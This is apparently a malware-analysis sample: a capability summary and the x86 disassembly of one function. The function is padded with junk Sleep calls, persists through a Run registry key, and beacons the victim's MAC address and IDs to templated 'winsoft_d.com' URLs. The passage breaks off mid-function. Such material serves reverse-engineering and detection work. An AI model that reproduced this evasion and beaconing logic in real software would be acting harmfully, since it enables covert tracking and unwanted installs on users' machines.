Function at 0x405330
Capabilities:
Accept command line arguments
Authenticate hmac
Check if file exists
Check mutex on windows
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete directory
Delete file
Delete registry value
Get common file path
Initialize winsock library
Move file
Persist via run registry key
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x35a4
call fcn.004105e0
mov eax, dword [0x43d120]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x22c8], 0xaf
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x22c8]
add eax, 6
mov dword [ebp - 0x22c8], eax
mov dword [ebp - 0x22cc], 0xaf
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x22cc]
add ecx, 6
mov dword [ebp - 0x22cc], ecx
mov dword [ebp - 0x22d0], 0xaf
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x22d0]
add edx, 6
mov dword [ebp - 0x22d0], edx
mov dword [ebp - 0x22d4], 0xaf
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x22d4]
add eax, 6
mov dword [ebp - 0x22d4], eax
mov dword [ebp - 0x22d8], 0xaf
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x22d8]
add ecx, 6
mov dword [ebp - 0x22d8], ecx
mov dword [ebp - 0x22dc], 0xaf
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x22dc]
add edx, 6
mov dword [ebp - 0x22dc], edx
mov dword [ebp - 0x22e0], 0xaf
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x22e0]
add eax, 6
mov dword [ebp - 0x22e0], eax
mov dword [ebp - 0x22e4], 0xaf
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x22e4]
add ecx, 6
mov dword [ebp - 0x22e4], ecx
mov byte [ebp - 0x688], 0
push 0x63
push 0
lea edx, [ebp - 0x687]
push edx
call fcn.004103c0
add esp, 0xc
mov byte [ebp - 0x22e5], 0x22
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x22e5]
add eax, 0xfe
mov byte [ebp - 0x22e5], al
mov byte [ebp - 0x22e6], 0x22
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x22e6]
add ecx, 0xfe
mov byte [ebp - 0x22e6], cl
mov byte [ebp - 0x22e7], 0x22
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x22e7]
add edx, 0xfe
mov byte [ebp - 0x22e7], dl
mov byte [ebp - 0x22e8], 0x22
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x22e8]
add eax, 0xfe
mov byte [ebp - 0x22e8], al
mov byte [ebp - 0x22e9], 0x22
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x22e9]
add ecx, 0xfe
mov byte [ebp - 0x22e9], cl
mov byte [ebp - 0x22ea], 0x22
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x22ea]
add edx, 0xfe
mov byte [ebp - 0x22ea], dl
mov byte [ebp - 0x22eb], 0x22
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x22eb]
add eax, 0xfe
mov byte [ebp - 0x22eb], al
mov byte [ebp - 0x22ec], 0x22
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x22ec]
add ecx, 0xfe
mov byte [ebp - 0x22ec], cl
mov byte [ebp - 0x22ed], 0x22
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x22ed]
add edx, 0xfe
mov byte [ebp - 0x22ed], dl
mov byte [ebp - 0x2250], 0
push 0x103
push 0
lea eax, [ebp - 0x224f]
push eax
call fcn.004103c0
add esp, 0xc
mov dword [ebp - 0x22f4], 0x32
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x22f4]
add ecx, 0x5d
mov dword [ebp - 0x22f4], ecx
mov dword [ebp - 0x22f8], 0x32
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x22f8]
add edx, 0x5d
mov dword [ebp - 0x22f8], edx
mov dword [ebp - 0x700], 1
mov dword [ebp - 0x68c], 0
mov dword [ebp - 0x1e4], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00410f52
add esp, 4
fld qword [0x436160]
fstp qword [ebp - 0x2300]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2300]
fadd qword [0x436158]
fstp qword [ebp - 0x2300]
fld qword [0x436160]
fstp qword [ebp - 0x2308]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2308]
fadd qword [0x436158]
fstp qword [ebp - 0x2308]
fld qword [0x436160]
fstp qword [ebp - 0x2310]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2310]
fadd qword [0x436158]
fstp qword [ebp - 0x2310]
fld qword [0x436160]
fstp qword [ebp - 0x2318]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2318]
fadd qword [0x436158]
fstp qword [ebp - 0x2318]
fld qword [0x436160]
fstp qword [ebp - 0x2320]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2320]
fadd qword [0x436158]
fstp qword [ebp - 0x2320]
fld qword [0x436160]
fstp qword [ebp - 0x2328]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2328]
fadd qword [0x436158]
fstp qword [ebp - 0x2328]
fld qword [0x436160]
fstp qword [ebp - 0x2330]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2330]
fadd qword [0x436158]
fstp qword [ebp - 0x2330]
fld qword [0x436160]
fstp qword [ebp - 0x2338]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2338]
fadd qword [0x436158]
fstp qword [ebp - 0x2338]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
fld qword [0x436150]
fstp qword [ebp - 0x2340]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2340]
fadd qword [0x436148]
fstp qword [ebp - 0x2340]
fld qword [0x436150]
fstp qword [ebp - 0x2348]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2348]
fadd qword [0x436148]
fstp qword [ebp - 0x2348]
fld qword [0x436150]
fstp qword [ebp - 0x2350]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2350]
fadd qword [0x436148]
fstp qword [ebp - 0x2350]
fld qword [0x436150]
fstp qword [ebp - 0x2358]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2358]
fadd qword [0x436148]
fstp qword [ebp - 0x2358]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00410f52
add esp, 4
lea eax, [ebp - 0x580]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
fld dword [0x436140]
fstp dword [ebp - 0x235c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x235c]
fadd qword [0x436138]
fstp dword [ebp - 0x235c]
fld dword [0x436140]
fstp dword [ebp - 0x2360]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2360]
fadd qword [0x436138]
fstp dword [ebp - 0x2360]
fld dword [0x436140]
fstp dword [ebp - 0x2364]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2364]
fadd qword [0x436138]
fstp dword [ebp - 0x2364]
fld dword [0x436140]
fstp dword [ebp - 0x2368]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2368]
fadd qword [0x436138]
fstp dword [ebp - 0x2368]
fld qword [0x436130]
fstp qword [ebp - 0x2370]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2370]
fadd qword [0x436128]
fstp qword [ebp - 0x2370]
fld qword [0x436130]
fstp qword [ebp - 0x2378]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2378]
fadd qword [0x436128]
fstp qword [ebp - 0x2378]
fld qword [0x436130]
fstp qword [ebp - 0x2380]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2380]
fadd qword [0x436128]
fstp qword [ebp - 0x2380]
fld qword [0x436130]
fstp qword [ebp - 0x2388]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2388]
fadd qword [0x436128]
fstp qword [ebp - 0x2388]
fld qword [0x436130]
fstp qword [ebp - 0x2390]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2390]
fadd qword [0x436128]
fstp qword [ebp - 0x2390]
fld qword [0x436130]
fstp qword [ebp - 0x2398]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2398]
fadd qword [0x436128]
fstp qword [ebp - 0x2398]
fld qword [0x436130]
fstp qword [ebp - 0x23a0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x23a0]
fadd qword [0x436128]
fstp qword [ebp - 0x23a0]
fld qword [0x436130]
fstp qword [ebp - 0x23a8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x23a8]
fadd qword [0x436128]
fstp qword [ebp - 0x23a8]
lea ecx, [ebp - 0x710]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
fld dword [0x436120]
fstp dword [ebp - 0x23ac]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x23ac]
fadd qword [0x436118]
fstp dword [ebp - 0x23ac]
movzx edx, word [ebp - 0x70a]
push edx
movzx eax, word [ebp - 0x70e]
push eax
movzx ecx, word [ebp - 0x710]
push ecx
push str._d_02d_02d
lea edx, [ebp - 0x1e0]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0x4352c3
lea eax, [ebp - 0x2028]
push eax
call fcn.0040f840
add esp, 8
fld qword [0x436110]
fstp qword [ebp - 0x23b8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x23b8]
fadd qword [0x436108]
fstp qword [ebp - 0x23b8]
mov dword [ebp - 0x2140], 0
jmp 0x405a93
mov ecx, dword [ebp - 0x2140]
add ecx, 1
mov dword [ebp - 0x2140], ecx
cmp dword [ebp - 0x2140], 0x5a
jge 0x405bba
push 0x64
push 0x43e678
call fcn.00401b80
add esp, 8
push 0x43e678
call fcn.0040f320
add esp, 4
cmp eax, 0xc
jne 0x405ac6
jmp 0x405bba
fld qword [0x436100]
fstp qword [ebp - 0x23c0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x23c0]
fadd qword [0x4360f8]
fstp qword [ebp - 0x23c0]
fld qword [0x436100]
fstp qword [ebp - 0x23c8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x23c8]
fadd qword [0x4360f8]
fstp qword [ebp - 0x23c8]
fld qword [0x436100]
fstp qword [ebp - 0x23d0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x23d0]
fadd qword [0x4360f8]
fstp qword [ebp - 0x23d0]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [0x4360f0]
fstp qword [ebp - 0x23d8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x23d8]
fadd qword [0x4360e8]
fstp qword [ebp - 0x23d8]
fld qword [0x4360f0]
fstp qword [ebp - 0x23e0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x23e0]
fadd qword [0x4360e8]
fstp qword [ebp - 0x23e0]
fld qword [0x4360f0]
fstp qword [ebp - 0x23e8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x23e8]
fadd qword [0x4360e8]
fstp qword [ebp - 0x23e8]
jmp 0x405a84
cmp dword [ebp - 0x2140], 0x5a
jl 0x405bd5
push str.000000000000
push 0x43e678
call fcn.0040f840
add esp, 8
push 0x43e682
lea edx, [ebp - 0x5fc]
push edx
call fcn.0040f840
add esp, 8
fld qword [0x4360e0]
fstp qword [ebp - 0x23f0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x23f0]
fadd qword [0x4360d8]
fstp qword [ebp - 0x23f0]
fld qword [0x4360e0]
fstp qword [ebp - 0x23f8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x23f8]
fadd qword [0x4360d8]
fstp qword [ebp - 0x23f8]
fld qword [0x4360e0]
fstp qword [ebp - 0x2400]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2400]
fadd qword [0x4360d8]
fstp qword [ebp - 0x2400]
fld qword [0x4360e0]
fstp qword [ebp - 0x2408]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2408]
fadd qword [0x4360d8]
fstp qword [ebp - 0x2408]
fld qword [0x4360e0]
fstp qword [ebp - 0x2410]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2410]
fadd qword [0x4360d8]
fstp qword [ebp - 0x2410]
fld qword [0x4360e0]
fstp qword [ebp - 0x2418]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2418]
fadd qword [0x4360d8]
fstp qword [ebp - 0x2418]
fld qword [0x4360e0]
fstp qword [ebp - 0x2420]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2420]
fadd qword [0x4360d8]
fstp qword [ebp - 0x2420]
lea eax, [ebp - 0x3f0]
push eax
push 0x43e678
call fcn.00402c20
add esp, 8
fld qword [0x4360d0]
fstp qword [ebp - 0x2428]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2428]
fadd qword [0x4360c8]
fstp qword [ebp - 0x2428]
fld qword [0x4360d0]
fstp qword [ebp - 0x2430]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2430]
fadd qword [0x4360c8]
fstp qword [ebp - 0x2430]
fld qword [0x4360d0]
fstp qword [ebp - 0x2438]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2438]
fadd qword [0x4360c8]
fstp qword [ebp - 0x2438]
fld qword [0x4360d0]
fstp qword [ebp - 0x2440]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2440]
fadd qword [0x4360c8]
fstp qword [ebp - 0x2440]
fld qword [0x4360d0]
fstp qword [ebp - 0x2448]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2448]
fadd qword [0x4360c8]
fstp qword [ebp - 0x2448]
fld qword [0x4360d0]
fstp qword [ebp - 0x2450]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2450]
fadd qword [0x4360c8]
fstp qword [ebp - 0x2450]
fld qword [0x4360d0]
fstp qword [ebp - 0x2458]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2458]
fadd qword [0x4360c8]
fstp qword [ebp - 0x2458]
fld qword [0x4360d0]
fstp qword [ebp - 0x2460]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2460]
fadd qword [0x4360c8]
fstp qword [ebp - 0x2460]
lea ecx, [ebp - 0x2139]
push ecx
lea edx, [ebp - 0x5fc]
push edx
call fcn.00402c20
add esp, 8
movzx eax, byte [ebp - 0x2139]
xor eax, 0xcf
mov byte [ebp - 0x2139], al
movzx ecx, byte [ebp - 0x2139]
push ecx
push 6
lea edx, [ebp - 0x3f0]
push edx
call fcn.00402fc0
add esp, 0xc
lea eax, [ebp - 0x70]
push eax
push 6
lea ecx, [ebp - 0x3f0]
push ecx
call fcn.00403080
add esp, 0xc
fld dword [0x4360c0]
fstp dword [ebp - 0x2464]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2464]
fadd qword [0x4360b8]
fstp dword [ebp - 0x2464]
push 0x43e682
lea edx, [ebp - 0x5fc]
push edx
call fcn.0040f840
add esp, 8
lea eax, [ebp - 0x3f0]
push eax
push 0x43e678
call fcn.00402c20
add esp, 8
mov dword [ebp - 0x2468], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2468]
add ecx, 0xb
mov dword [ebp - 0x2468], ecx
lea edx, [ebp - 0x1e09]
push edx
lea eax, [ebp - 0x5fc]
push eax
call fcn.00402c20
add esp, 8
mov dword [ebp - 0x246c], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x246c]
add ecx, 0xac
mov dword [ebp - 0x246c], ecx
mov dword [ebp - 0x2470], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2470]
add edx, 0xac
mov dword [ebp - 0x2470], edx
mov dword [ebp - 0x2474], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2474]
add eax, 0xac
mov dword [ebp - 0x2474], eax
mov dword [ebp - 0x2478], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2478]
add ecx, 0xac
mov dword [ebp - 0x2478], ecx
mov dword [ebp - 0x247c], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x247c]
add edx, 0xac
mov dword [ebp - 0x247c], edx
mov dword [ebp - 0x2480], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2480]
add eax, 0xac
mov dword [ebp - 0x2480], eax
movzx ecx, byte [ebp - 0x1e09]
xor ecx, 0xdc
mov byte [ebp - 0x1e09], cl
movzx edx, byte [ebp - 0x1e09]
push edx
push 6
lea eax, [ebp - 0x3f0]
push eax
call fcn.00402fc0
add esp, 0xc
fld qword [0x4360b0]
fstp qword [ebp - 0x2488]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2488]
fadd qword [0x436160]
fstp qword [ebp - 0x2488]
lea ecx, [ebp - 0x6f8]
push ecx
push 6
lea edx, [ebp - 0x3f0]
push edx
call fcn.00403080
add esp, 0xc
push 0x43e682
lea eax, [ebp - 0x5fc]
push eax
call fcn.0040f840
add esp, 8
mov dword [ebp - 0x248c], 0x42
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x248c]
add ecx, 0xfd
mov dword [ebp - 0x248c], ecx
mov dword [ebp - 0x2490], 0x42
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2490]
add edx, 0xfd
mov dword [ebp - 0x2490], edx
lea eax, [ebp - 0x3f0]
push eax
push 0x43e678
call fcn.00402c20
add esp, 8
lea ecx, [ebp - 0x1e09]
push ecx
lea edx, [ebp - 0x5fc]
push edx
call fcn.00402c20
add esp, 8
mov byte [ebp - 0x2491], 0xbf
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2491]
add eax, 0x75
mov byte [ebp - 0x2491], al
mov byte [ebp - 0x2492], 0xbf
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2492]
add ecx, 0x75
mov byte [ebp - 0x2492], cl
mov byte [ebp - 0x2493], 0xbf
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2493]
add edx, 0x75
mov byte [ebp - 0x2493], dl
mov byte [ebp - 0x2494], 0xbf
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2494]
add eax, 0x75
mov byte [ebp - 0x2494], al
mov byte [ebp - 0x2495], 0xbf
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2495]
add ecx, 0x75
mov byte [ebp - 0x2495], cl
mov byte [ebp - 0x2496], 0xbf
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2496]
add edx, 0x75
mov byte [ebp - 0x2496], dl
mov dword [ebp - 0x6fc], 1
push 0x4353e0
lea eax, [ebp - 0x614]
push eax
call fcn.0040f840
add esp, 8
mov byte [ebp - 0x2497], 0x81
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2497]
add ecx, 0x89
mov byte [ebp - 0x2497], cl
mov byte [ebp - 0x2498], 0x81
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2498]
add edx, 0x89
mov byte [ebp - 0x2498], dl
mov byte [ebp - 0x2499], 0x81
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2499]
add eax, 0x89
mov byte [ebp - 0x2499], al
lea ecx, [ebp - 0x6f8]
push ecx
push 0x4353e4
lea edx, [ebp - 0x1bf8]
push edx
call fcn.0041020b
add esp, 0xc
mov byte [ebp - 0x249a], 0x37
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x249a]
add eax, 0x3b
mov byte [ebp - 0x249a], al
mov byte [ebp - 0x249b], 0x37
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x249b]
add ecx, 0x3b
mov byte [ebp - 0x249b], cl
mov byte [ebp - 0x249c], 0x37
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x249c]
add edx, 0x3b
mov byte [ebp - 0x249c], dl
mov byte [ebp - 0x249d], 0x37
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x249d]
add eax, 0x3b
mov byte [ebp - 0x249d], al
lea ecx, [ebp - 0x2144]
push ecx
lea edx, [ebp - 0x1bf8]
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 0
jne 0x4063a2
mov byte [ebp - 0x24a5], 0x83
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x24a5]
add eax, 0xd5
mov byte [ebp - 0x24a5], al
mov byte [ebp - 0x24a6], 0x83
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x24a6]
add ecx, 0xd5
mov byte [ebp - 0x24a6], cl
mov byte [ebp - 0x24a7], 0x83
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x24a7]
add edx, 0xd5
mov byte [ebp - 0x24a7], dl
mov byte [ebp - 0x24a8], 0x83
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x24a8]
add eax, 0xd5
mov byte [ebp - 0x24a8], al
mov dword [ebp - 0x588], 0x104
lea ecx, [ebp - 0x588]
push ecx
lea edx, [ebp - 0x614]
push edx
lea eax, [ebp - 0x584]
push eax
push 0
push 0x4353f0
mov ecx, dword [ebp - 0x2144]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4063a2
mov edx, dword [ebp - 0x2144]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x614]
push eax
call fcn.00410469
add esp, 4
mov dword [ebp - 0x6fc], eax
mov dword [ebp - 0x2254], 0
jmp 0x4063d2
mov ecx, dword [ebp - 0x2254]
add ecx, 1
mov dword [ebp - 0x2254], ecx
cmp dword [ebp - 0x2254], 0x67
jg 0x406496
mov edx, dword [ebp - 0x6fc]
push edx
push str.winsoft_d.com
lea eax, [ebp - 0x22c0]
push eax
call fcn.0041020b
add esp, 0xc
push 0x435404
push 0x43e570
mov ecx, dword [ebp - 0x2140]
push ecx
push 0x435410
push 0x435418
lea edx, [ebp - 0x22c0]
push edx
push str.http:__app2._s_app.asp_prj_spid_slogdataMacTryCnt:_dcode_sver_sappcheck1
lea eax, [ebp - 0x1bf8]
push eax
call fcn.0041020b
add esp, 0x20
push 0xf4240
push 0x7a120
push 1
lea ecx, [ebp - 0x618]
push ecx
lea edx, [ebp - 0x1e8]
push edx
push 0
lea eax, [ebp - 0x1bf8]
push eax
call fcn.00401260
add esp, 0x1c
cmp eax, 1
jne 0x40647a
push 0x435474
mov ecx, dword [ebp - 0x1e8]
push ecx
call fcn.00411050
add esp, 8
test eax, eax
jne 0x40647a
jmp 0x406496
mov eax, dword [ebp - 0x6fc]
add eax, 1
cdq
mov ecx, 0x65
idiv ecx
mov dword [ebp - 0x6fc], edx
jmp 0x4063c3
cmp dword [ebp - 0x2254], 0
je 0x4064e3
mov edx, dword [ebp - 0x6fc]
push edx
push 0x435478
lea eax, [ebp - 0x614]
push eax
call fcn.0041020b
add esp, 0xc
push 0
push 1
push 0x43547c
lea ecx, [ebp - 0x614]
push ecx
lea edx, [ebp - 0x6f8]
push edx
push 0x435480
push closesocket
call fcn.00403aa0
add esp, 0x1c
push 0x64
lea eax, [ebp - 0x1bf8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x43548c
lea ecx, [ebp - 0x1bf8]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
call fcn.00432364
add esp, 8
test eax, eax
je 0x406ece
push str.nobundle
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call dword [sym.imp.SHLWAPI.dll_PathGetArgsA]
push eax
call fcn.00411050
add esp, 8
test eax, eax
je 0x406ece
push 0x43e678
push 0x4354a4
push 0x4354ac
lea edx, [ebp - 0x22c0]
push edx
push str.http:__p2._s_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typee1mac_s
lea eax, [ebp - 0x1bf8]
push eax
call fcn.0041020b
add esp, 0x18
fld dword [0x4360a8]
fstp dword [ebp - 0x2514]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2514]
fadd qword [0x4360a0]
fstp dword [ebp - 0x2514]
fld dword [0x4360a8]
fstp dword [ebp - 0x2518]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2518]
fadd qword [0x4360a0]
fstp dword [ebp - 0x2518]
fld dword [0x4360a8]
fstp dword [ebp - 0x251c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x251c]
fadd qword [0x4360a0]
fstp dword [ebp - 0x251c]
fld dword [0x4360a8]
fstp dword [ebp - 0x2520]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2520]
fadd qword [0x4360a0]
fstp dword [ebp - 0x2520]
mov dword [ebp - 0x61c], 0
jmp 0x406617
mov ecx, dword [ebp - 0x61c]
add ecx, 1
mov dword [ebp - 0x61c], ecx
cmp dword [ebp - 0x61c], 1
jge 0x406654
push 0xf4240
push 0x7a120
push 1
lea edx, [ebp - 0x618]
push edx
lea eax, [ebp - 0x1e8]
push eax
push 0
lea ecx, [ebp - 0x1bf8]
push ecx
call fcn.00401260
add esp, 0x1c
cmp eax, 1
jne 0x406652
jmp 0x406654
jmp 0x406608
fld qword [0x436158]
fstp qword [ebp - 0x2528]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2528]
fadd qword [0x436098]
fstp qword [ebp - 0x2528]
fld qword [0x436158]
fstp qword [ebp - 0x2530]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2530]
fadd qword [0x436098]
fstp qword [ebp - 0x2530]
push 0x43e678
push 0x435500
push 0x435508
lea edx, [ebp - 0x22c0]
push edx
push str.http:__app2._s_setup_b.asp_prj_spid_smac_s
lea eax, [ebp - 0x1bf8]
push eax
call fcn.0041020b
add esp, 0x18
mov byte [ebp - 0x2531], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2531]
add ecx, 0x8f
mov byte [ebp - 0x2531], cl
mov byte [ebp - 0x2532], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2532]
add edx, 0x8f
mov byte [ebp - 0x2532], dl
mov byte [ebp - 0x2533], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2533]
add eax, 0x8f
mov byte [ebp - 0x2533], al
mov byte [ebp - 0x2534], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2534]
add ecx, 0x8f
mov byte [ebp - 0x2534], cl
mov byte [ebp - 0x2535], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2535]
add edx, 0x8f
mov byte [ebp - 0x2535], dl
mov byte [ebp - 0x2536], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2536]
add eax, 0x8f
mov byte [ebp - 0x2536], al
mov byte [ebp - 0x2537], 0x54
push 0
